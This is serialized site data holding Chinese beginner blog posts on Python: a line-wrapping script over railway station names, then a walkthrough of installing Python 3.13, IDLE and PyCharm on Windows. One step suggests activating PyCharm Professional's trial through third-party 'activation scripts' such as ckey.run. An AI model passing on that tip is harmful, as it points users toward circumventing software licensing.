\nprint(k3[0:len(k3)])\n",[105806],{"type":18,"tag":74,"props":105807,"children":105808},{"__ignoreMap":8},[105809,105817,105824,105832,105840,105848,105856,105864,105872,105880],{"type":18,"tag":297,"props":105810,"children":105811},{"class":299,"line":300},[105812],{"type":18,"tag":297,"props":105813,"children":105814},{},[105815],{"type":24,"value":105816},"k3='北京、张家口南、集宁南、朱日和、二连、扎门乌德、赛音山达、乔伊尔、乌兰巴托、宗哈拉、达尔汗、苏赫巴托、多卓尔内、纳乌什基、吉达、乌兰乌德、斯柳江卡、伊尔库茨克、集马、尼日涅乌丁斯克、伊兰斯卡雅、克拉斯诺亚尔斯克、马林斯克、泰加、新西伯利亚、巴拉宾斯克、鄂木斯克、伊希姆、秋明、斯维尔德洛夫斯克、彼尔姆、巴列集诺、基洛夫、高尔基、弗拉基米尔、莫斯科'  \n",{"type":18,"tag":297,"props":105818,"children":105819},{"class":299,"line":657},[105820],{"type":18,"tag":297,"props":105821,"children":105822},{},[105823],{"type":24,"value":36783},{"type":18,"tag":297,"props":105825,"children":105826},{"class":299,"line":662},[105827],{"type":18,"tag":297,"props":105828,"children":105829},{},[105830],{"type":24,"value":105831},"width=22  \n",{"type":18,"tag":297,"props":105833,"children":105834},{"class":299,"line":799},[105835],{"type":18,"tag":297,"props":105836,"children":105837},{},[105838],{"type":24,"value":105839},"len1=0  \n",{"type":18,"tag":297,"props":105841,"children":105842},{"class":299,"line":808},[105843],{"type":18,"tag":297,"props":105844,"children":105845},{},[105846],{"type":24,"value":105847},"k3line=\"\"  \n",{"type":18,"tag":297,"props":105849,"children":105850},{"class":299,"line":817},[105851],{"type":18,"tag":297,"props":105852,"children":105853},{},[105854],{"type":24,"value":105855},"while len(k3)>width:  \n",{"type":18,"tag":297,"props":105857,"children":105858},{"class":299,"line":826},[105859],{"type":18,"tag":297,"props":105860,"children":105861},{},[105862],{"type":24,"value":105863},"   k3line=k3[0:width]  \n",{"type":18,"tag":297,"props":105865,"children":105866},{"class":299,"line":4524},[105867],{"type":18,"tag":297,"props":105868,"children":105869},{},[105870],{"type":24,"value":105871},"   k3=k3[width:len(k3)]  \n",{"type":18,"tag":297,"props":105873,"children":105874},{"class":299,"line":4533},[105875],{"type":18,"tag":297,"props":105876,"children":105877},{},[105878],{"type":24,"value":105879},"   print(k3line)  \n",{"type":18,"tag":297,"props":105881,"children":105882},{"class":299,"line":4546},[105883],{"type":18,"tag":297,"props":105884,"children":105885},{},[105886],{"type":24,"value":105887},"print(k3[0:len(k3)])\n",{"type":18,"tag":34,"props":105889,"children":105890},{},[105891],{"type":24,"value":104953},{"type":18,"tag":34,"props":105893,"children":105894},{},[105895],{"type":18,"tag":54,"props":105896,"children":105899},{"alt":105897,"src":105898},"Pasted image 20250812101949","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812101949.png",[],{"type":18,"tag":651,"props":105901,"children":105902},{},[105903],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":105905},[105906,105907,105908,105909,105910],{"id":101473,"depth":662,"text":101476},{"id":101646,"depth":662,"text":101649},{"id":101847,"depth":662,"text":101847},{"id":102398,"depth":662,"text":102398},{"id":102866,"depth":662,"text":102866},"content:blog:2025-07-02-python-语言基础.md","blog\u002F2025-07-02-python-语言基础.md","blog\u002F2025-07-02-python-语言基础",{"_path":105915,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":105916,"description":105917,"date":105918,"tags":105919,"body":105920,"_type":672,"_id":106667,"_source":674,"_file":106668,"_stem":106669,"_extension":677},"\u002Fblog\u002F2025-07-01-python-python","Python-安装","Python解释器安装教程，Windows平台下载、安装与环境变量配置。","2025-07-01",[28616,75509],{"type":15,"children":105921,"toc":106651},[105922,105928,105933,105971,105977,105982,105988,105993,106015,106023,106029,106042,106050,106055,106084,106092,106100,106129,106137,106145,106150,106162,106170,106178,106184,106212,106220,106226,106247,106252,106260,106265,106273,106278,106286,106325,106333,106341,106360,106366,106371,106377,106398,106406,106411,106432,106440,106460,106468,106500,106508,106528,106536,106544,106549,106554,106562,106575,106583,106595,106608,106613,106627,106632,106639,106647],{"type":18,"tag":19,"props":105923,"children":105925},{"id":105924},"python介绍",[105926],{"type":24,"value":105927},"Python介绍",{"type":18,"tag":34,"props":105929,"children":105930},{},[105931],{"type":24,"value":105932},"Python是一种功能强大且易学的编程语言，它可以做以下几个方面：",{"type":18,"tag":210,"props":105934,"children":105935},{},[105936,105941,105946,105951,105956,105961,105966],{"type":18,"tag":158,"props":105937,"children":105938},{},[105939],{"type":24,"value":105940},"Web开发",{"type":18,"tag":158,"props":105942,"children":105943},{},[105944],{"type":24,"value":105945},"大数据处理",{"type":18,"tag":158,"props":105947,"children":105948},{},[105949],{"type":24,"value":105950},"人工智能d",{"type":18,"tag":158,"props":105952,"children":105953},{},[105954],{"type":24,"value":105955},"自动化运维开发",{"type":18,"tag":158,"props":105957,"children":105958},{},[105959],{"type":24,"value":105960},"云计算",{"type":18,"tag":158,"props":105962,"children":105963},{},[105964],{"type":24,"value":105965},"网络爬虫",{"type":18,"tag":158,"props":105967,"children":105968},{},[105969],{"type":24,"value":105970},"游戏开发",{"type":18,"tag":19,"props":105972,"children":105974},{"id":105973},"python解释器安装",[105975],{"type":24,"value":105976},"Python解释器安装",{"type":18,"tag":34,"props":105978,"children":105979},{},[105980],{"type":24,"value":105981},"Python 解释器是 Python 生态系统的基石，它不仅负责代码的执行，还提供了内存管理、类型检查、异常处理等核心功能。同时，它的跨平台性和多样化实现，让 Python 能够在各种场景下得到广泛应用。",{"type":18,"tag":27,"props":105983,"children":105985},{"id":105984},"下载python安装包",[105986],{"type":24,"value":105987},"下载Python安装包",{"type":18,"tag":34,"props":105989,"children":105990},{},[105991],{"type":24,"value":105992},"因为Python是一门解释型编程语言，所以要进行Python开发，需要先安装Python解释器。",{"type":18,"tag":34,"props":105994,"children":105995},{},[105996,105998,106005,106007,106013],{"type":24,"value":105997},"首先访问Python官网 ：",{"type":18,"tag":43,"props":105999,"children":106002},{"href":106000,"rel":106001},"https:\u002F\u002Fwww.python.org\u002F",[47],[106003],{"type":24,"value":106004},"点击跳转Python官网",{"type":24,"value":106006},"   进入官网后点击",{"type":18,"tag":74,"props":106008,"children":106010},{"className":106009},[],[106011],{"type":24,"value":106012},"dowmload",{"type":24,"value":106014},"按钮，然后选择Python推荐的最新版本进行安装(可以选择其他版本)，具体操作如下所示：",{"type":18,"tag":34,"props":106016,"children":106017},{},[106018],{"type":18,"tag":54,"props":106019,"children":106022},{"alt":106020,"src":106021},"Python官网页面.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPython%E5%AE%98%E7%BD%91%E9%A1%B5%E9%9D%A2.png",[],{"type":18,"tag":27,"props":106024,"children":106026},{"id":106025},"在windows执行安装包",[106027],{"type":24,"value":106028},"在Windows执行安装包",{"type":18,"tag":34,"props":106030,"children":106031},{},[106032,106034,106040],{"type":24,"value":106033},"打开文件下载路径，找到刚刚下载好的Python安装包",{"type":18,"tag":74,"props":106035,"children":106037},{"className":106036},[],[106038],{"type":24,"value":106039},"python-3.13.5-amd64.exe",{"type":24,"value":106041},"文件，双击执行，具体操作如下所示：",{"type":18,"tag":34,"props":106043,"children":106044},{},[106045],{"type":18,"tag":54,"props":106046,"children":106049},{"alt":106047,"src":106048},"执行安装包.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E6%89%A7%E8%A1%8C%E5%AE%89%E8%A3%85%E5%8C%85.png",[],{"type":18,"tag":27,"props":106051,"children":106053},{"id":106052},"安装步骤",[106054],{"type":24,"value":106052},{"type":18,"tag":34,"props":106056,"children":106057},{},[106058,106060,106066,106068,106074,106076,106082],{"type":24,"value":106059},"1）首先在弹出的安装界面勾选",{"type":18,"tag":74,"props":106061,"children":106063},{"className":106062},[],[106064],{"type":24,"value":106065},"add python.exe to PATH",{"type":24,"value":106067},"复选框，该命令表示将Python解释器添加至环境变量，若不勾选该命令，则在后续操作中会出现",{"type":18,"tag":74,"props":106069,"children":106071},{"className":106070},[],[106072],{"type":24,"value":106073},"xxx 不是内部或外部命令",{"type":24,"value":106075},"的报错信息；再选择自定义安装",{"type":18,"tag":74,"props":106077,"children":106079},{"className":106078},[],[106080],{"type":24,"value":106081},"Customize installation",{"type":24,"value":106083},"。具体操作如下所示：",{"type":18,"tag":34,"props":106085,"children":106086},{},[106087],{"type":18,"tag":54,"props":106088,"children":106091},{"alt":106089,"src":106090},"安装界面1.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E5%AE%89%E8%A3%85%E7%95%8C%E9%9D%A21.png",[],{"type":18,"tag":34,"props":106093,"children":106094},{},[106095],{"type":18,"tag":54,"props":106096,"children":106099},{"alt":106097,"src":106098},"安装界面2.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E5%AE%89%E8%A3%85%E7%95%8C%E9%9D%A22.png",[],{"type":18,"tag":34,"props":106101,"children":106102},{},[106103,106105,106111,106113,106119,106121,106127],{"type":24,"value":106104},"2）点击自定义安装后默认全部勾选，直接点击",{"type":18,"tag":74,"props":106106,"children":106108},{"className":106107},[],[106109],{"type":24,"value":106110},"next",{"type":24,"value":106112},"进入下一层选项，在该页面勾选为所有用户安装",{"type":18,"tag":74,"props":106114,"children":106116},{"className":106115},[],[106117],{"type":24,"value":106118},"install Python 3.13 for all users",{"type":24,"value":106120}," 复选框，再点击",{"type":18,"tag":74,"props":106122,"children":106124},{"className":106123},[],[106125],{"type":24,"value":106126},"install",{"type":24,"value":106128},"进行安装即可。具体操作如下所示：",{"type":18,"tag":34,"props":106130,"children":106131},{},[106132],{"type":18,"tag":54,"props":106133,"children":106136},{"alt":106134,"src":106135},"安装界面3.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E5%AE%89%E8%A3%85%E7%95%8C%E9%9D%A23.png",[],{"type":18,"tag":34,"props":106138,"children":106139},{},[106140],{"type":18,"tag":54,"props":106141,"children":106144},{"alt":106142,"src":106143},"安装完成.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E5%AE%89%E8%A3%85%E5%AE%8C%E6%88%90.png",[],{"type":18,"tag":27,"props":106146,"children":106148},{"id":106147},"测试是否安装成功",[106149],{"type":24,"value":106147},{"type":18,"tag":34,"props":106151,"children":106152},{},[106153,106155,106160],{"type":24,"value":106154},"打开dos命令窗，输入",{"type":18,"tag":74,"props":106156,"children":106158},{"className":106157},[],[106159],{"type":24,"value":28712},{"type":24,"value":106161}," 点击回车，若成功的进入到了python即表示已成功安装Python解释器。具体操作如下所示：",{"type":18,"tag":34,"props":106163,"children":106164},{},[106165],{"type":18,"tag":54,"props":106166,"children":106169},{"alt":106167,"src":106168},"cmd窗口.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002Fcmd%E7%AA%97%E5%8F%A3.png",[],{"type":18,"tag":34,"props":106171,"children":106172},{},[106173],{"type":18,"tag":54,"props":106174,"children":106177},{"alt":106175,"src":106176},"调试python.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E8%B0%83%E8%AF%95python.png",[],{"type":18,"tag":27,"props":106179,"children":106181},{"id":106180},"编写第一个python程序",[106182],{"type":24,"value":106183},"编写第一个Python程序",{"type":18,"tag":34,"props":106185,"children":106186},{},[106187,106189,106194,106196,106202,106204,106210],{"type":24,"value":106188},"在输入",{"type":18,"tag":74,"props":106190,"children":106192},{"className":106191},[],[106193],{"type":24,"value":28712},{"type":24,"value":106195}," 按回车进入Python后，可以在",{"type":18,"tag":74,"props":106197,"children":106199},{"className":106198},[],[106200],{"type":24,"value":106201},">>>",{"type":24,"value":106203},"的后面编写Python代码，敲回车可以执行这行代码。这里以",{"type":18,"tag":74,"props":106205,"children":106207},{"className":106206},[],[106208],{"type":24,"value":106209},"print(\"Hello World!\")",{"type":24,"value":106211},"为例，如下所示：",{"type":18,"tag":34,"props":106213,"children":106214},{},[106215],{"type":18,"tag":54,"props":106216,"children":106219},{"alt":106217,"src":106218},"编写代码.png","\u002Fimages\u002Fblog\u002Fpython-basics\u002F%E7%BC%96%E5%86%99%E4%BB%A3%E7%A0%81.png",[],{"type":18,"tag":27,"props":106221,"children":106223},{"id":106222},"python开发工具",[106224],{"type":24,"value":106225},"Python开发工具",{"type":18,"tag":34,"props":106227,"children":106228},{},[106229,106231,106237,106239,106245],{"type":24,"value":106230},"经过上述编写代码的操作，会发现这种写一行执行一行的方式一点也不方便，所以为了方便我们可以借助Python编译器，实际上，",{"type":18,"tag":74,"props":106232,"children":106234},{"className":106233},[],[106235],{"type":24,"value":106236},"Python开发 = Python解释器 + Python编译器",{"type":24,"value":106238}," ，在成功安装Python后它会自带一个编译器",{"type":18,"tag":74,"props":106240,"children":106242},{"className":106241},[],[106243],{"type":24,"value":106244},"IDLE",{"type":24,"value":106246},"。接下来说说IDLE的使用方式。",{"type":18,"tag":34,"props":106248,"children":106249},{},[106250],{"type":24,"value":106251},"首先打开IDLE：开始 -> 所有程序 -> Python3.13 -> IDLE(Python 3.13 64-bit)",{"type":18,"tag":34,"props":106253,"children":106254},{},[106255],{"type":18,"tag":54,"props":106256,"children":106259},{"alt":106257,"src":106258},"Pasted image 20250710100626","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250710100626.png",[],{"type":18,"tag":34,"props":106261,"children":106262},{},[106263],{"type":24,"value":106264},"正常打开后如下图所示，当前页面类似于dos窗口，还是单行执行程序。",{"type":18,"tag":34,"props":106266,"children":106267},{},[106268],{"type":18,"tag":54,"props":106269,"children":106272},{"alt":106270,"src":106271},"Pasted image 20250710100743","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250710100743.png",[],{"type":18,"tag":34,"props":106274,"children":106275},{},[106276],{"type":24,"value":106277},"接下新建一个文件，在新建好的文件中就可以多行的编写Python程序了，具体操作如下所示：",{"type":18,"tag":34,"props":106279,"children":106280},{},[106281],{"type":18,"tag":54,"props":106282,"children":106285},{"alt":106283,"src":106284},"Pasted image 20250710101251","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250710101251.png",[],{"type":18,"tag":34,"props":106287,"children":106288},{},[106289,106291,106296,106298,106304,106305,106310,106311,106317,106318,106323],{"type":24,"value":106290},"Python程序编写完成后，可以直接运行。依次点击 ",{"type":18,"tag":74,"props":106292,"children":106294},{"className":106293},[],[106295],{"type":24,"value":27925},{"type":24,"value":106297}," --> ",{"type":18,"tag":74,"props":106299,"children":106301},{"className":106300},[],[106302],{"type":24,"value":106303},"Run Module",{"type":24,"value":106297},{"type":18,"tag":74,"props":106306,"children":106308},{"className":106307},[],[106309],{"type":24,"value":8505},{"type":24,"value":106297},{"type":18,"tag":74,"props":106312,"children":106314},{"className":106313},[],[106315],{"type":24,"value":106316},"输入文件名",{"type":24,"value":106297},{"type":18,"tag":74,"props":106319,"children":106321},{"className":106320},[],[106322],{"type":24,"value":60968},{"type":24,"value":106324}," 即可看到程序执行结果！",{"type":18,"tag":34,"props":106326,"children":106327},{},[106328],{"type":18,"tag":54,"props":106329,"children":106332},{"alt":106330,"src":106331},"Pasted image 20250710101914","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250710101914.png",[],{"type":18,"tag":34,"props":106334,"children":106335},{},[106336],{"type":18,"tag":54,"props":106337,"children":106340},{"alt":106338,"src":106339},"Pasted image 20250710102211","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250710102211.png",[],{"type":18,"tag":34,"props":106342,"children":106343},{},[106344,106346,106352,106353,106359],{"type":24,"value":106345},"除了自带的IDLE编译器外，还要其他的编译器，如 ",{"type":18,"tag":74,"props":106347,"children":106349},{"className":106348},[],[106350],{"type":24,"value":106351},"Visual Studio Code",{"type":24,"value":8507},{"type":18,"tag":74,"props":106354,"children":106356},{"className":106355},[],[106357],{"type":24,"value":106358},"Pycharm",{"type":24,"value":16244},{"type":18,"tag":19,"props":106361,"children":106363},{"id":106362},"pycharm编辑器安装",[106364],{"type":24,"value":106365},"Pycharm编辑器安装",{"type":18,"tag":34,"props":106367,"children":106368},{},[106369],{"type":24,"value":106370},"PyCharm 凭借其强大的代码分析、调试工具和框架支持，成为 Python 开发者的首选 IDE。无论是 Web 开发、数据科学还是自动化脚本编写，PyCharm 都能显著提升开发效率和代码质量。",{"type":18,"tag":27,"props":106372,"children":106374},{"id":106373},"下载pycharm安装向导",[106375],{"type":24,"value":106376},"下载Pycharm安装向导",{"type":18,"tag":34,"props":106378,"children":106379},{},[106380,106382,106389,106391,106396],{"type":24,"value":106381},"首先访Pycharm官网：  ",{"type":18,"tag":43,"props":106383,"children":106386},{"href":106384,"rel":106385},"https:\u002F\u002Fwww.jetbrains.com.cn\u002Fen-us\u002Fpycharm\u002Fdownload\u002F",[47],[106387],{"type":24,"value":106388},"点击访问Pycharm官方网站",{"type":24,"value":106390},"  进入官网后点击",{"type":18,"tag":74,"props":106392,"children":106394},{"className":106393},[],[106395],{"type":24,"value":106012},{"type":24,"value":106397},"按钮进行下载(可以选择其他版本)，具体操作如下所示：",{"type":18,"tag":34,"props":106399,"children":106400},{},[106401],{"type":18,"tag":54,"props":106402,"children":106405},{"alt":106403,"src":106404},"Pasted image 20250721164008","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721164008.png",[],{"type":18,"tag":27,"props":106407,"children":106409},{"id":106408},"安装步骤-1",[106410],{"type":24,"value":106052},{"type":18,"tag":34,"props":106412,"children":106413},{},[106414,106416,106422,106424,106430],{"type":24,"value":106415},"1）等待下载完成后从安装路径打开Pycharm的安装向导",{"type":18,"tag":74,"props":106417,"children":106419},{"className":106418},[],[106420],{"type":24,"value":106421},"pycharm-2025.1.3.1.exe",{"type":24,"value":106423},"，弹出的界面点击",{"type":18,"tag":74,"props":106425,"children":106427},{"className":106426},[],[106428],{"type":24,"value":106429},"下一步",{"type":24,"value":106431},"，然后进入了自定义安装路径的界面，这里我将选择默认，建议更为为除C盘以外的其他盘符，如下图所示：",{"type":18,"tag":34,"props":106433,"children":106434},{},[106435],{"type":18,"tag":54,"props":106436,"children":106439},{"alt":106437,"src":106438},"Pasted image 20250721225115","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721225115.png",[],{"type":18,"tag":34,"props":106441,"children":106442},{},[106443,106445,106451,106453,106458],{"type":24,"value":106444},"2）在接下来的界面中切记勾选",{"type":18,"tag":74,"props":106446,"children":106448},{"className":106447},[],[106449],{"type":24,"value":106450},"将bin文件夹添加到PATH",{"type":24,"value":106452},"，其他的选项自定义，点击",{"type":18,"tag":74,"props":106454,"children":106456},{"className":106455},[],[106457],{"type":24,"value":106429},{"type":24,"value":106459},"，如下图：",{"type":18,"tag":34,"props":106461,"children":106462},{},[106463],{"type":18,"tag":54,"props":106464,"children":106467},{"alt":106465,"src":106466},"Pasted image 20250721225630","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721225630.png",[],{"type":18,"tag":34,"props":106469,"children":106470},{},[106471,106473,106478,106479,106484,106486,106491,106493,106499],{"type":24,"value":106472},"3）然后点击 ",{"type":18,"tag":74,"props":106474,"children":106476},{"className":106475},[],[106477],{"type":24,"value":106429},{"type":24,"value":106297},{"type":18,"tag":74,"props":106480,"children":106482},{"className":106481},[],[106483],{"type":24,"value":3114},{"type":24,"value":106485},"  --> ",{"type":18,"tag":74,"props":106487,"children":106489},{"className":106488},[],[106490],{"type":24,"value":1857},{"type":24,"value":106492}," 即可完成Pycharm的安装。双击标图打开Pycharm，点击",{"type":18,"tag":74,"props":106494,"children":106496},{"className":106495},[],[106497],{"type":24,"value":106498},"下一个",{"type":24,"value":106459},{"type":18,"tag":34,"props":106501,"children":106502},{},[106503],{"type":18,"tag":54,"props":106504,"children":106507},{"alt":106505,"src":106506},"Pasted image 20250721230634","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721230634.png",[],{"type":18,"tag":34,"props":106509,"children":106510},{},[106511,106513,106519,106521,106527],{"type":24,"value":106512},"4）勾选同意用户协议，点击",{"type":18,"tag":74,"props":106514,"children":106516},{"className":106515},[],[106517],{"type":24,"value":106518},"继续",{"type":24,"value":106520},"，数据共享界面选择",{"type":18,"tag":74,"props":106522,"children":106524},{"className":106523},[],[106525],{"type":24,"value":106526},"不发送",{"type":24,"value":106459},{"type":18,"tag":34,"props":106529,"children":106530},{},[106531],{"type":18,"tag":54,"props":106532,"children":106535},{"alt":106533,"src":106534},"Pasted image 20250721230752","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721230752.png",[],{"type":18,"tag":34,"props":106537,"children":106538},{},[106539],{"type":18,"tag":54,"props":106540,"children":106543},{"alt":106541,"src":106542},"Pasted image 20250721230856","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721230856.png",[],{"type":18,"tag":27,"props":106545,"children":106547},{"id":106546},"文件测试",[106548],{"type":24,"value":106546},{"type":18,"tag":34,"props":106550,"children":106551},{},[106552],{"type":24,"value":106553},"1）点击新建项目，自定义项目路径，然后选择自定义环境，选择现有，系统将自动识别python路径，再点击确定，如下图：",{"type":18,"tag":34,"props":106555,"children":106556},{},[106557],{"type":18,"tag":54,"props":106558,"children":106561},{"alt":106559,"src":106560},"Pasted image 20250721231421","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721231421.png",[],{"type":18,"tag":34,"props":106563,"children":106564},{},[106565,106567,106573],{"type":24,"value":106566},"2）因为安装的是Pycharm专业版，因此此处显示试用按钮，它显示试用期为30天，这里可以通过一些激活脚本进行激活，例如",{"type":18,"tag":74,"props":106568,"children":106570},{"className":106569},[],[106571],{"type":24,"value":106572},"ckey.run",{"type":24,"value":106574},"激活网站，具体操作访问",{"type":18,"tag":34,"props":106576,"children":106577},{},[106578],{"type":18,"tag":54,"props":106579,"children":106582},{"alt":106580,"src":106581},"Pasted image 20250721231746","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721231746.png",[],{"type":18,"tag":34,"props":106584,"children":106585},{},[106586,106588,106593],{"type":24,"value":106587},"3）在左侧根目录右击选择新建python文件，在弹出的窗口输入python文件名，然后回车即可创建一个",{"type":18,"tag":74,"props":106589,"children":106591},{"className":106590},[],[106592],{"type":24,"value":42560},{"type":24,"value":106594},"的python文件，如下图：",{"type":18,"tag":34,"props":106596,"children":106597},{},[106598,106603],{"type":18,"tag":54,"props":106599,"children":106602},{"alt":106600,"src":106601},"Pasted image 20250721233020","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721233020.png",[],{"type":18,"tag":54,"props":106604,"children":106607},{"alt":106605,"src":106606},"Pasted image 20250721233533","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721233533.png",[],{"type":18,"tag":34,"props":106609,"children":106610},{},[106611],{"type":24,"value":106612},"4）将新建好的文件双击打开，在代码编写区域写入测试代码，如下：",{"type":18,"tag":287,"props":106614,"children":106616},{"code":106615,"language":28712,"meta":8,"className":28710,"style":8},"print(\"Hello World!\")\n",[106617],{"type":18,"tag":74,"props":106618,"children":106619},{"__ignoreMap":8},[106620],{"type":18,"tag":297,"props":106621,"children":106622},{"class":299,"line":300},[106623],{"type":18,"tag":297,"props":106624,"children":106625},{},[106626],{"type":24,"value":106615},{"type":18,"tag":34,"props":106628,"children":106629},{},[106630],{"type":24,"value":106631},"代码文件运行后的结果为：",{"type":18,"tag":287,"props":106633,"children":106634},{"code":27010},[106635],{"type":18,"tag":74,"props":106636,"children":106637},{"__ignoreMap":8},[106638],{"type":24,"value":27010},{"type":18,"tag":34,"props":106640,"children":106641},{},[106642],{"type":18,"tag":54,"props":106643,"children":106646},{"alt":106644,"src":106645},"Pasted image 20250721234003","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721234003.png",[],{"type":18,"tag":651,"props":106648,"children":106649},{},[106650],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":106652},[106653,106654,106662],{"id":105924,"depth":657,"text":105927},{"id":105973,"depth":657,"text":105976,"children":106655},[106656,106657,106658,106659,106660,106661],{"id":105984,"depth":662,"text":105987},{"id":106025,"depth":662,"text":106028},{"id":106052,"depth":662,"text":106052},{"id":106147,"depth":662,"text":106147},{"id":106180,"depth":662,"text":106183},{"id":106222,"depth":662,"text":106225},{"id":106362,"depth":657,"text":106365,"children":106663},[106664,106665,106666],{"id":106373,"depth":662,"text":106376},{"id":106408,"depth":662,"text":106052},{"id":106546,"depth":662,"text":106546},"content:blog:2025-07-01-python-Python安装.md","blog\u002F2025-07-01-python-Python安装.md","blog\u002F2025-07-01-python-Python安装",1781435778233]